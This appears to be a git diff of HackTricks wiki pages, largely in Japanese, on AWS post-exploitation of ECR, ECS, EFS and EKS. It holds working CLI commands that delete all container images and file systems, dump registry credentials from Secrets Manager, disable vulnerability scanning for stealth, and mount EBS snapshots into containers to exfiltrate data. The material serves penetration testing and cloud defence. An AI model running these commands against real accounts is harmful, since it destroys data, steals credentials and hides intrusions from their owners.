-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md

@@ -0,0 +1,209 @@
+# AWS - ECR Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+詳細は次を参照してください
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Login, Pull & Push
+```bash
+# Docker login into ecr
+## For public repo (always use us-east-1)
+aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
+## For private repo
+aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
+## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
+
+# Download
+docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
+## If you still have the error "Requested image not found"
+## It might be because the tag "latest" doesn't exit
+## Get valid tags with:
+TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
+curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
+
+# Inspect the image
+docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
+docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
+
+# Upload (example uploading purplepanda with tag latest)
+docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+
+# Downloading without Docker
+# List digests
+aws ecr batch-get-image --repository-name level2 \
+--registry-id 653711331788 \
+--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
+
+## Download a digest
+aws ecr get-download-url-for-layer \
+--repository-name level2 \
+--registry-id 653711331788 \
+--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
+```
+イメージをダウンロードしたら、**機密情報が含まれていないか確認してください**：
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
+
+これらの権限のいずれかを持つ攻撃者は、**リポジトリ内のすべてのイメージを削除するように lifecycle policy を作成または変更**し、その後 **ECR リポジトリ全体を削除**できます。これにより、リポジトリに格納されているすべてのコンテナイメージが失われます。
+```bash
+# Create a JSON file with the malicious lifecycle policy
+echo '{
+"rules": [
+{
+"rulePriority": 1,
+"description": "Delete all images",
+"selection": {
+"tagStatus": "any",
+"countType": "imageCountMoreThan",
+"countNumber": 0
+},
+"action": {
+"type": "expire"
+}
+}
+]
+}' > malicious_policy.json
+
+# Apply the malicious lifecycle policy to the ECR repository
+aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
+
+# Delete the ECR repository
+aws ecr delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete the ECR public repository
+aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete multiple images from the ECR repository
+aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+
+# Delete multiple images from the ECR public repository
+aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### ECR Pull‑Through Cache (PTC) から upstream registry credentials を exfiltrate する
+
+ECR Pull‑Through Cache が認証済みの upstream registries（Docker Hub、GHCR、ACR など）に対して設定されている場合、upstream の認証情報は AWS Secrets Manager に予測可能な名前プレフィックス `ecr-pullthroughcache/` で保存されます。運用者は時に ECR 管理者に対して広範な Secrets Manager の読み取りアクセスを付与しており、その結果、認証情報の exfiltration や AWS 外での再利用が可能になることがあります。
+
+Requirements
+- secretsmanager:ListSecrets
+- secretsmanager:GetSecretValue
+
+候補となる PTC secrets を列挙する
+```bash
+aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
+--output text
+```
+発見された secrets を Dump し、一般的なフィールドを解析する
+```bash
+for s in $(aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
+aws secretsmanager get-secret-value --secret-id "$s" \
+--query SecretString --output text | tee /tmp/ptc_secret.json
+jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
+jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
+done
+```
+任意: leaked creds を upstream (read‑only login) に対して検証する
+```bash
+echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
+```
+影響
+- これらの Secrets Manager エントリを読み取ることで、再利用可能な upstream registry credentials（username/password または token）を取得できます。これらは upstream の権限に応じて、AWS の外部で private images を pull したり、追加の repositories へアクセスするために悪用される可能性があります。
+
+
+### レジストリ単位のステルス: `ecr:PutRegistryScanningConfiguration` を使用してスキャンを無効化またはダウングレード
+
+レジストリレベルの ECR 権限を持つ攻撃者は、registry scanning configuration を BASIC に設定し、scan-on-push ルールを何も設定しないことで、ALL リポジトリの自動脆弱性スキャンを静かに低下または無効化できます。これにより新しいイメージの push が自動的にスキャンされなくなり、脆弱なまたは悪意のあるイメージを隠すことができます。
+
+要件
+- ecr:PutRegistryScanningConfiguration
+- ecr:GetRegistryScanningConfiguration
+- ecr:PutImageScanningConfiguration (optional, per‑repo)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
+
+レジストリ全体を手動へダウングレード（自動スキャンなし）
+```bash
+REGION=us-east-1
+# Read current config (save to restore later)
+aws ecr get-registry-scanning-configuration --region "$REGION"
+
+# Set BASIC scanning with no rules (results in MANUAL scanning only)
+aws ecr put-registry-scanning-configuration \
+--region "$REGION" \
+--scan-type BASIC \
+--rules '[]'
+```
+リポジトリとイメージでテスト
+```bash
+acct=$(aws sts get-caller-identity --query Account --output text)
+repo=ht-scan-stealth
+aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
+docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
+
+# Verify no scan ran automatically
+aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
+# Optional: will error with ScanNotFoundException if no scan exists
+aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
+```
+任意: リポジトリのスコープでさらに劣化させる
+```bash
+# Disable scan-on-push for a specific repository
+aws ecr put-image-scanning-configuration \
+--region "$REGION" \
+--repository-name "$repo" \
+--image-scanning-configuration scanOnPush=false
+```
+影響
+- レジストリ全体への新しいイメージのプッシュが自動でスキャンされなくなり、脆弱または悪意のあるコンテンツの可視性が低下し、手動スキャンが開始されるまで検出が遅れる。
+
+### レジストリ全体のスキャンエンジンを `ecr:PutAccountSetting` でダウングレードする (AWS_NATIVE -> CLAIR)
+
+デフォルトの AWS_NATIVE からレガシーの CLAIR エンジンに BASIC スキャンエンジンを切り替えることで、レジストリ全体の脆弱性検出の品質を低下させます。これによりスキャンが無効化されるわけではありませんが、検出結果やカバレッジが大きく変わる可能性があります。ルールなしの BASIC registry scanning configuration と組み合わせると、スキャンを手動のみの運用にできます。
+
+要件
+- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
+- (オプション) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+
+影響
+- レジストリ設定 `BASIC_SCAN_TYPE_VERSION` が `CLAIR` に設定され、以降の BASIC スキャンはダウングレードされたエンジンで実行されます。CloudTrail は `PutAccountSetting` API コールを記録します。
+
+手順
+```bash
+REGION=us-east-1
+
+# 1) Read current value so you can restore it later
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
+
+# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
+
+# 3) Verify the setting
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
+
+# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
+aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
+
+# 5) Restore to AWS_NATIVE when finished to avoid side effects
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
+```
+

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md

@@ -1,57 +0,0 @@
-# AWS - ECS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### ホストIAMロール
-
-ECSでは、**IAMロールはコンテナ内で実行されているタスクに割り当てることができます**。**もし**タスクが**EC2**インスタンス内で実行されている場合、**EC2インスタンス**には**別のIAM**ロールが付与されます。\
-つまり、ECSインスタンスを**侵害**することに成功すれば、**ECRおよびEC2インスタンスに関連付けられたIAMロールを取得する可能性があります**。これらの資格情報を取得する方法についての詳細は、次を確認してください：
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-> [!CAUTION]
-> EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**は**ホップ制限が1**となり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。
-
-### ノードへの特権昇格と他のコンテナの資格情報・秘密の盗難
-
-さらに、EC2はECタスクを実行するためにdockerを使用しているため、ノードにエスケープするか、**dockerソケットにアクセス**できれば、**他のコンテナ**がどのように実行されているかを**確認**でき、さらには**それらの中に入って**、**付与されたIAMロールを盗む**ことができます。
-
-#### 現在のホストでコンテナを実行する
-
-さらに、**EC2インスタンスロール**は通常、クラスター内のノードとして使用されているEC2インスタンスの**コンテナインスタンスの状態を更新する**のに十分な**権限**を持っています。攻撃者は**インスタンスの状態をDRAININGに変更**することができ、その後ECSは**すべてのタスクを削除**し、**REPLICA**として実行されているタスクは**別のインスタンスで実行される**ことになり、潜在的に**攻撃者のインスタンス内**で実行されるため、彼は**それらのIAMロール**やコンテナ内の潜在的な機密情報を**盗む**ことができます。
-```bash
-aws ecs update-container-instances-state \
---cluster <cluster> --status DRAINING --container-instances <container-instance-id>
-```
-同じ技術は**クラスターからEC2インスタンスを登録解除する**ことによって行うことができます。これは潜在的にあまりステルス性がありませんが、**タスクを他のインスタンスで実行させることを強制します:**
-```bash
-aws ecs deregister-container-instance \
---cluster <cluster> --container-instance <container-instance-id> --force
-```
-タスクの再実行を強制するための最終的な手法は、ECSに**タスクまたはコンテナが停止した**ことを示すことです。これを行うための3つの潜在的なAPIがあります：
-```bash
-# Needs: ecs:SubmitTaskStateChange
-aws ecs submit-task-state-change --cluster <value> \
---status STOPPED --reason "anything" --containers [...]
-
-# Needs: ecs:SubmitContainerStateChange
-aws ecs submit-container-state-change ...
-
-# Needs: ecs:SubmitAttachmentStateChanges
-aws ecs submit-attachment-state-changes ...
-```
-### ECRコンテナからの機密情報の盗難
-
-EC2インスタンスは、おそらく`ecr:GetAuthorizationToken`の権限を持っており、**イメージをダウンロード**することができます（その中に機密情報を探すことができます）。
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md

@@ -0,0 +1,124 @@
+# AWS - ECS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### ホストの IAM ロール
+
+In ECS、コンテナ内で実行されるタスクには**IAM role をタスクに割り当てることができる**。**もし**そのタスクが**EC2**インスタンス内で実行されている場合、**EC2 instance**には別の**IAM**ロールがアタッチされます。\
+つまり、もし ECS インスタンスを**compromise**できれば、**obtain the IAM role associated to the ECR and to the EC2 instance** 可能性があります。これらの資格情報を取得する方法の詳細は次を参照してください:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+> [!CAUTION]
+> EC2 instance が IMDSv2 を強制している場合、[**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**response of the PUT request** は **hop limit of 1** を持つため、EC2 instance 内のコンテナから EC2 メタデータにアクセスすることが不可能になります。
+
+### Privesc to node to steal other containers creds & secrets
+
+さらに、EC2 は docker を使って ECs タスクを実行しているため、ノードに脱出するか**access the docker socket**できれば、どの**other containers**が実行されているかを**check**でき、実際にそれらに**get inside of them**してアタッチされている**IAM roles**を**steal their IAM roles**することも可能です。
+
+#### 現在のホストでコンテナを実行させる
+
+さらに、**EC2 instance role** は通常クラスタ内のノードとして使用されている EC2 インスタンスの **update the container instance state** を行うのに十分な **permissions** を持っています。攻撃者は**state of an instance to DRAINING**に変更することができ、その後 ECS はそのインスタンスから**remove all the tasks from it**し、**REPLICA**として実行されているものは**run in a different instance,**、場合によっては攻撃者の**attackers instance**内で実行され、そこで**steal their IAM roles**やコンテナ内部の機密情報を取得することができます。
+```bash
+aws ecs update-container-instances-state \
+--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
+```
+同じ手法は、**EC2 インスタンスをクラスターから deregister することで実行できます**。これは潜在的にステルス性が低くなりますが、**tasks を他のインスタンスで実行させることを強制します：**
+```bash
+aws ecs deregister-container-instance \
+--cluster <cluster> --container-instance <container-instance-id> --force
+```
+タスクの再実行を強制する最後の手法は、ECS に対して **task or container was stopped** と示すことです。これを行う可能性のある API は 3 つあります:
+```bash
+# Needs: ecs:SubmitTaskStateChange
+aws ecs submit-task-state-change --cluster <value> \
+--status STOPPED --reason "anything" --containers [...]
+
+# Needs: ecs:SubmitContainerStateChange
+aws ecs submit-container-state-change ...
+
+# Needs: ecs:SubmitAttachmentStateChanges
+aws ecs submit-attachment-state-changes ...
+```
+### Steal sensitive info from ECR containers
+
+The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
+
+ネイティブな ECS と EBS の統合（2024+）を悪用して、既存の EBS スナップショットの内容を新しい ECS タスク/サービス内に直接マウントし、コンテナ内からデータを読み取ります。
+
+- Needs (minimum):
+- ecs:RegisterTaskDefinition
+- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
+- iam:PassRole on:
+- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
+- Task execution/Task roles referenced by the task definition
+- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
+
+- Impact: スナップショットから任意のディスク内容（例：データベースファイル）をコンテナ内で読み取り、ネットワーク／ログ経由で持ち出すことが可能。
+
+Steps (Fargate example):
+
+1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
+```bash
+aws iam create-role --role-name ecsInfrastructureRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsInfrastructureRole \
+--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
+```
+2) `configuredAtLaunch` とマークされたボリュームを持つ task definition を登録し、container にマウントします。例（シークレットを出力してからスリープします）:
+```json
+{
+"family": "ht-ebs-read",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
+"containerDefinitions": [
+{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["cat /loot/secret.txt || true; sleep 3600"],
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
+"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
+}
+],
+"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
+}
+```
+3) サービスを作成または更新し、EBS スナップショットを `volumeConfigurations.managedEBSVolume` 経由で渡す（infra role に iam:PassRole が必要）。例：
+```json
+{
+"cluster": "ht-ecs-ebs",
+"serviceName": "ht-ebs-svc",
+"taskDefinition": "ht-ebs-read",
+"desiredCount": 1,
+"launchType": "FARGATE",
+"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
+"volumeConfigurations": [
+{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
+]
+}
+```
+4) タスクが開始されると、container は設定された mount path（例: `/loot`）で snapshot の内容を読み取ることができます。task の network/logs を経由して exfiltrate してください。
+
+クリーンアップ:
+```bash
+aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
+aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
+aws ecs deregister-task-definition ht-ebs-read
+```
+

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md

@@ -1,46 +0,0 @@
-# AWS - EFS ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-詳細については、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### `elasticfilesystem:DeleteMountTarget`
-
-攻撃者はマウントターゲットを削除することができ、アプリケーションやそのマウントターゲットに依存するユーザーのEFSファイルシステムへのアクセスを妨げる可能性があります。
-```sql
-aws efs delete-mount-target --mount-target-id <value>
-```
-**潜在的影響**: ファイルシステムへのアクセスの中断と、ユーザーやアプリケーションのデータ損失の可能性。
-
-### `elasticfilesystem:DeleteFileSystem`
-
-攻撃者はEFSファイルシステム全体を削除することができ、これによりデータ損失が発生し、ファイルシステムに依存するアプリケーションに影響を与える可能性があります。
-```perl
-aws efs delete-file-system --file-system-id <value>
-```
-**潜在的影響**: 削除されたファイルシステムを使用しているアプリケーションに対するデータ損失とサービス中断。
-
-### `elasticfilesystem:UpdateFileSystem`
-
-攻撃者は、スループットモードなどのEFSファイルシステムのプロパティを更新し、そのパフォーマンスに影響を与えたり、リソース枯渇を引き起こしたりする可能性があります。
-```sql
-aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
-```
-**潜在的影響**: ファイルシステムのパフォーマンスの低下またはリソースの枯渇。
-
-### `elasticfilesystem:CreateAccessPoint` と `elasticfilesystem:DeleteAccessPoint`
-
-攻撃者はアクセスポイントを作成または削除し、アクセス制御を変更し、ファイルシステムへの不正アクセスを自らに付与する可能性があります。
-```arduino
-aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
-aws efs delete-access-point --access-point-id <value>
-```
-**潜在的な影響**: ファイルシステムへの不正アクセス、データの露出または変更。 
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md

@@ -0,0 +1,46 @@
+# AWS - EFS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+詳細は次を参照してください：
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### `elasticfilesystem:DeleteMountTarget`
+
+攻撃者は mount target を削除できる可能性があり、その mount target に依存するアプリケーションやユーザーからの EFS ファイルシステムへのアクセスを妨げるおそれがあります。
+```sql
+aws efs delete-mount-target --mount-target-id <value>
+```
+**潜在的な影響**: ファイルシステムへのアクセスの中断や、ユーザーやアプリケーションに対するデータ損失の可能性。
+
+### `elasticfilesystem:DeleteFileSystem`
+
+攻撃者は EFS ファイルシステム全体を削除する可能性があり、これによりデータ損失が発生し、ファイルシステムに依存するアプリケーションに影響を与える可能性があります。
+```perl
+aws efs delete-file-system --file-system-id <value>
+```
+**Potential Impact**: データ損失および削除されたファイルシステムを利用するアプリケーションのサービス停止
+
+### `elasticfilesystem:UpdateFileSystem`
+
+攻撃者は、EFSファイルシステムのプロパティ（throughput modeなど）を更新して、パフォーマンスに影響を与えたりリソース枯渇を引き起こしたりする可能性があります。
+```sql
+aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
+```
+**潜在的な影響**: ファイルシステムのパフォーマンスの低下やリソースの枯渇。
+
+### `elasticfilesystem:CreateAccessPoint` と `elasticfilesystem:DeleteAccessPoint`
+
+攻撃者はアクセスポイントを作成または削除してアクセス制御を変更し、その結果、ファイルシステムへの不正アクセスを自身に許してしまう可能性がある。
+```arduino
+aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
+aws efs delete-access-point --access-point-id <value>
+```
+**Potential Impact**: ファイルシステムへの不正アクセス、データの露出または改ざん。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md

@@ -1,143 +0,0 @@
-# AWS - EKS ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EKS
-
-詳細については、以下を確認してください
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### AWS コンソールからクラスターを列挙する
-
-**`eks:AccessKubernetesApi`** の権限がある場合、AWS EKS コンソールを介して **Kubernetes オブジェクトを表示** できます ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))。
-
-### AWS Kubernetes クラスターに接続する
-
-- 簡単な方法:
-```bash
-# Generate kubeconfig
-aws eks update-kubeconfig --name aws-eks-dev
-```
-- 簡単ではない方法：
-
-もしあなたが **`aws eks get-token --name <cluster_name>`** で **トークンを取得できる** が、クラスター情報を取得する権限（describeCluster）がない場合、あなた自身の **`~/.kube/config`** を **準備する** ことができます。しかし、トークンを持っていても、接続するための **url エンドポイント** が必要です（ポッドからJWTトークンを取得できた場合は [こちら](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) を読んでください）と **クラスターの名前** が必要です。
-
-私の場合、CloudWatchログでは情報を見つけられませんでしたが、**LaunchTemplatesのuserData** と **EC2マシンのuserData** で情報を見つけました。この情報は **userData** で簡単に見ることができます。例えば、次の例では（クラスター名は cluster-name でした）：
-```bash
-API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
-
-/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
-```
-<details>
-
-<summary>kube config</summary>
-```yaml
-describe-cache-parametersapiVersion: v1
-clusters:
-- cluster:
-certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
-server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-contexts:
-- context:
-cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-kind: Config
-preferences: {}
-users:
-- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user:
-exec:
-apiVersion: client.authentication.k8s.io/v1beta1
-args:
-- --region
-- us-west-2
-- --profile
-- <profile>
-- eks
-- get-token
-- --cluster-name
-- <cluster-name>
-command: aws
-env: null
-interactiveMode: IfAvailable
-provideClusterInfo: false
-```
-</details>
-
-### AWSからKubernetesへ
-
-**EKSクラスター**の**作成者**は、グループ**`system:masters`**（k8s管理者）のkubernetesクラスター部分に**常に**アクセスできることになります。この文書作成時点では、**クラスターを作成した人**を見つける**直接的な方法**は**ありません**（CloudTrailを確認できます）。また、その**特権**を**削除する方法**も**ありません**。
-
-**AWS IAMユーザーやロールにK8sへのアクセスを付与する方法**は、**configmap** **`aws-auth`**を使用することです。
-
-> [!WARNING]
-> したがって、config map **`aws-auth`**に**書き込みアクセス**を持つ人は、**クラスター全体を危険にさらす**ことができます。
-
-**同じまたは異なるアカウント**でIAMロールやユーザーに**追加の特権を付与する方法**や、これを**悪用する方法**については、[**このページを確認してください**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。
-
-また、[**この素晴らしい**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **投稿をチェックして、IAMからKubernetesへの認証がどのように機能するかを学んでください**。
-
-### KubernetesからAWSへ
-
-**Kubernetesサービスアカウント**のための**OpenID認証**を許可し、AWSでロールを引き受けることができるようにすることが可能です。これがどのように機能するかは、[**このページで学んでください**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。
-
-### JWTトークンからAPIサーバーエンドポイントを取得する
-
-JWTトークンをデコードすると、クラスターIDとリージョンが得られます。![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URLの標準フォーマットは
-```bash
-https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
